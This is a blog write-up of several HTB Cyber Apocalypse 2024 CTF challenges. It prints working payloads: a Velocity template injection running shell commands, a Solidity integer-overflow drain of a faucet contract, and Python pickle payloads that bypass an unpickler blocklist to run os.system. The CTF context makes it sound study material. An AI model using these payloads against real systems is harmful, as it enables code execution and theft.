Skip to main content
ℬ㏒.㎈ℓℯℛ.ⓧⓨℤ

HTB Cyber Apocalypse CTF 2024 Writeup

I had very little time to spend on HTB Cyber Apocalypse 2024, so just played with some easy challenges.

Web: Labyrinth Linguist #

(Easy, 300)

Java. Apache Velocity 1.7.0. There is a template injection vulnerability.

I tried using #include and #parse directives, but I couldn't get a path traversal.

According to the code, we have one variable in our context: if you send $name you get back World.

More interestingly, ${name.getClass()}returns class java.lang.String. From here we can pretty much do anything we want. Calling a shell command in Java is annoying, but here is one way to get the file listing of the root directory:

#set ($x=${name.getClass().forName("java.lang.Runtime").getRuntime().exec("ls /")})
${x.waitFor()}
#set ($c=${name.getClass().forName("java.io.InputStreamReader").getDeclaredConstructors()[3]})
#set ($b=${name.getClass().forName("java.io.BufferedReader").getDeclaredConstructors()[1].newInstance($c.newInstance($x.getInputStream()))})
${b.readLine()}
${b.readLine()}
${b.readLine()}

Then cat the flag.

I'm not sure if the declared constructor indices are portable across different machines or even survive restarts.

Forensics: Phreaky #

(Medium, 300)

Browsing the pcap in Wireshark, the SMTP traffic stood out, with 15 messages of the format:

Date: Wed, 06 Mar 2024 14:59:12 +0000
From: caleb@thephreaks.com(Caleb)
To: resources@thetalents.com
Subject: Secure File Transfer
Message-ID: <20240306145912.3RkED%caleb@thephreaks.com>
User-Agent: s-nail v14.9.23
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-="

This is a multi-part message in MIME format.

--=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-=
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-ID: <20240306145912.g2I1r%caleb@thephreaks.com>

Attached is a part of the file. Password: S3W8yzixNoL8

--=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-=
Content-Type: application/zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; 
 filename*0="caf33472c6e0b2de339c1de893f78e67088cd6b1586a581c6f8e87b5596";
 filename*1="efcfd.zip"
Content-ID: <20240306145912.Emuab%caleb@thephreaks.com>

UEsDBBQACQAIAGZ3ZlhwRyBT2gAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MVVUCQAD
wIToZcCE6GV1eAsAAQToAwAABOgDAAA9mPwEVmy1t/sLJ62NzXeCBFSSSZppyIzvPXL++cJbuCeL
nP4XXiAK9/HZL9xRw4LjlDf5eDd6BgBOKZqSn6qpM6g1WKXriS7k3lx5VkNnqlqQIfYnUdOCnkD/
1vzCyhuGdHPia5lmy0HoG+qdXABlLyNDgxvB9FTOcXK7oDHBOf3kmLSQFdxXsjfooLtBtC+y4gdB
xB4V3bImQ8TB5sPY55dvEKWCJ34CzRJbgIIirkD2GDIoQEHznvJA7zNnOvce1hXGA2+P/XmHe+4K
tL/fmrWMVpQEd+/GQlBLBwhwRyBT2gAAAN0AAABQSwECHgMUAAkACABmd2ZYcEcgU9oAAADdAAAA
FgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MVVUBQADwIToZXV4CwABBOgD
AAAE6AMAAFBLBQYAAAAAAQABAFwAAAA6AQAAAAA=

--=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-=--

This message is reassembled from multiple SMTP packets, so exporting the SMTP packets will be a bit of a mess with packet headers in the middle.

Instead, use the imf filter in Wireshark and then File > Export Objects > IMF to get the .eml files. On the CLI, this is:

tshark -r phreaky.pcap --export-objects imf,.

The zip file is password-protected. Each one contains a phreaks_plan.pdf.part1 file.

# Get all the parts
for f in *.eml;
do PWD=$(cat "$f" | grep 'assword:' | sed 's/^.*: //g' | tr -d '\r');
cat $f | sed -n '/^UEs/,/^\s$/{p}' | grep '^...' | tr -d '\n' | tr -d '\r' | base64 -d > tmp.zip;
unzip -P "$PWD" tmp.zip;
done

# Reassemble PDF
for i in `seq 1 15`; do cat "phreaks_plan.pdf.part$i" >> final.pdf; done

The flag is shown within the pdf.

Blockchain: Russian Roulette #

(Very easy, 300)

One server is an ethereum network RPC server. The other is for the challenge:

$ nc 94.237.60.74 59101
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1

Private key: 0xf7ddb435cbfdbf8287f834b2d65fa3fcef714e0897a840befdd77869a9558524
Address: 0x5b4F2566D787E7F793D6f51f60Fea29E29464374
Target contract: 0xab6cA8131A2FF2002bebeB52dfc9E2F716c116BA
Setup contract: 0xA0DadA13fe4C906474AcD7BE42d356631c4f459F

The contract Setup has deployed a RussianRoulette contract instance with 10 ETH. The contract RussianRoulette contract has a pullTrigger function. If the condition that uint256(blockhash(block.number - 1)) % 10 == 7, is satisfied (random with a 10% chance of being hit), the contract will self-destruct and send those 10 ETH to the caller selfdestruct(payable(msg.sender)).

Simply calling the contract several times will eventually pass the condition.

Use npm to install eth-cli. Add the network eth network:add HTB --id=69 --label=HTB --url=http://94.237.60.74:42487.

Compile the contracts... can use remix IDE. All we need is the ABI. Save the ABI files. Then in the REPL call the contract until success. I chose a large gas amount (lower amounts failed).

$ eth repl -n HTB --pk 0xf7ddb435cbfdbf8287f834b2d65fa3fcef714e0897a840befdd77869a9558524 ./RussianRoulette.abi@0xab6cA8131A2FF2002bebeB52dfc9E2F716c116BA ./Setup.abi@0xA0DadA13fe4C906474AcD7BE42d356631c4f459F

HTB> Setup.methods.isSolved()
false
HTB> RussianRoulette.methods.pullTrigger().send({from: "0x5b4F2566D787E7F793D6f51f60Fea29E29464374", gas: 214320})
{
  transactionHash: '0x6dc3f0ac880fe583a910ccfdafe3e6a270cb1caaed97867c81cde38cdc2860f4',
  transactionIndex: 0,
  blockHash: '0xb6bc29b9228d35401350d64b5ec084d4bfee5744b30723de2e9283fcfcbe0773',
  blockNumber: 2,
  cumulativeGasUsed: 21720,
  gasUsed: 21720,
  effectiveGasPrice: '0x3b9aca00',
  from: '0x5b4f2566d787e7f793d6f51f60fea29e29464374',
  to: '0xab6ca8131a2ff2002bebeb52dfc9e2f716c116ba',
  contractAddress: null,
  logsBloom: '0x000000...0000',
  status: true,
  type: '0x0',
  depositNonce: null,
  events: {}
}
HTB> setup.methods.isSolved()
false
HTB> BigInt('0xb6bc29b9228d35401350d64b5ec084d4bfee5744b30723de2e9283fcfcbe0773') % BigInt(10)
7n    /* so will succeed on next call */
HTB> RussianRoulette.methods.pullTrigger().send({from: "0x5b4F2566D787E7F793D6f51f60Fea29E29464374", gas: 214320})
{...}
HTB> setup.methods.isSolved()
true

For some reason, when trying to use Remix + Metamask to call the functions, each time we successfully hit the success condition there was some error. Using eth-cli, however, seemed to work.

Blockchain: Lucky Faucet #

(Easy, 325)

You can slowly extract money from the contract, but if you use it as expected you can only get 100M wei == 0.1 Gwei == 0.0000000001 ETH (1 ETH = 10^18 wei) at a time which is completely infeasible. We need to drain at least 10 ETH to get the flag. Clearly the challenge has something to do with overflows and casting negative signed ints into uints.

int256 randomInt = int256(blockhash(block.number - 1));

Blockhash is a bytes32 which is usually interpreted as a uint256. By using a int256 instead, a blockhash which begins with one of [89abcdef] will be negative (two's complement). For now let's assume we can't control the blockhash, but there is a 50% chance of it being a negative after each transaction.

e.g. a blockhash of 0xffecd3bfdf712b3eec84f84ee44d6581580974c75b62b1d63deaf7f1f3103302 is:

int256: -33875499935385412712089846607188198242036215631542560527268567685192994046
uint256: 115758213737380810010858895162080719655027948450009021478930315440227936645890

Double-check the mod maths:

123 % 10 == 3
-123 % 10 == -3
123 % -10 == 3
-123 % -10 == -3

Actually, realise that we can set the bounds to be negative as well, as long as the conditions are met.

In this way, we can use a very small positive upper bound like +2 and a slightly larger negative bound like -40,000 to ensure that on each call of the contract method we have randomInt % (upperBound - lowerBound + 1) + lowerBound being a small negative number (small chance that lowerBound is smaller in magnitude than randomInt % (upperBound - lowerBound + 1)).

luckyFaucet.methods.setBounds(-400, 2).send({from: me, gas: 20000000})

When converted with uint64(-value) the amount becomes (2 << 64) - value which is approximately 18.4 ETH. We can therefore run the contract method multiple times with a very high chance of extracting 18.4 ETH each time.

HTB> eth.getBalance(luckyFaucet._address)
'500000000000000000000'   // 500 ETH

HTB> eth.getBalance(me)
'4999999928819000000000'  // 5000 ETH
function doit() {
  if (--counter > 0) {  // about 30 so we don't run forever
    luckyFaucet.methods.sendRandomETH().send({from: me, gas: 2000000}).then(doit)
  }
}
HTB> eth.getBalance(luckyFaucet._address)
'481553255926290448625'   // 482 ETH

HTB> eth.getBalance(me)
'5018446618094709551375'  // 5018 ETH

...

HTB> eth.getBalance(luckyFaucet._address)
'463106511852580897550'   // 463 ETH

HTB> eth.getBalance(me)
'5036893331705419102450'  // 5037 ETH

...
...

HTB> eth.getBalance(luckyFaucet._address)
'1937910009842115787'     // 2 ETH

HTB> eth.getBalance(me)
'5498060958732157884213'  // 5498 ETH

HTB> setup.methods.isSolved()
true

It seems impossible to grab the remaining 2 ETH from this point. The smallest amount we can request (by setting lower and upper bounds to both be equal to -2^63) is 2^63 = 0b10000000... = 9,223,372,036,854,775,808 = 9.2 ETH. Anyway, the challenge only requires 10 ETH to be extracted. The largest is 18,446,744,073,709,551,615 = 18.4 ETH by setting the bounds to be equal to -1 (approx what was done above, but a more sensible way to do it).

By having set the extracted amount to a factor of 500 such as 10 ETH each time from the start (bounds = -(2^64 - 10^19) = -8446744073709551616), we would have been able to extract every last wei of cryptocash.

We're Pickle Phreaks & Revenge #

We have a pickle.Unpickler with a find_class(self, module, name) which restricts module to __main__ or app and prevents name from starting with __builtins__.

We notice that app imports random which itself imports os, so we can call app.random._os.system("cat flag.txt"). I made a pickle:

b'capp\nrandom._os.system\n'
+   b'Vcat flag.txt\n'
+ b'\x85R'
+ b'.'

The c opcode, defined in pickletools.py should load an object onto the stack. But it didn't work because it was not calling find_class recursively. Instead, it complains that it can't find random._os.system. The reason is that we haven't set the pickle protocol level to 4 or higher which then enables the recursive code path. A quick and dirty way to do that is prepending the following header:

header = b'\x80\x05\x95' + bytes([len(pickle_data)]) + b'\x00\x00\x00\x00\x00\x00\x00'

In "revenge", the random module is banned.

UNSAFE_NAMES = ['__builtins__', 'random']

There are plenty of ways to bypass this. I chose to overwrite the UNSAFE_NAMES list.

b'capp\npickle.__globals__.__setitem__\n'
+   b'VUNSAFE_NAMES\n'
+   b'V\n'
+ b'\x86R'
+ b'0'
+ original

where V as before is a newline-terminated string. Rather than creating an empty list, I just set it to a string which is also iterable so for name_ in UNSAFE_NAMES still works. We need 0 to pop the result off the stack before running the original pickle code, and use \x86 to create a tuple instead of \x85 as we have two arguments to the function.

This acts as:

app.pickle.__globals__.__setitem__("UNSAFE_NAMES", "")
app.random._os.system("cat flag.txt")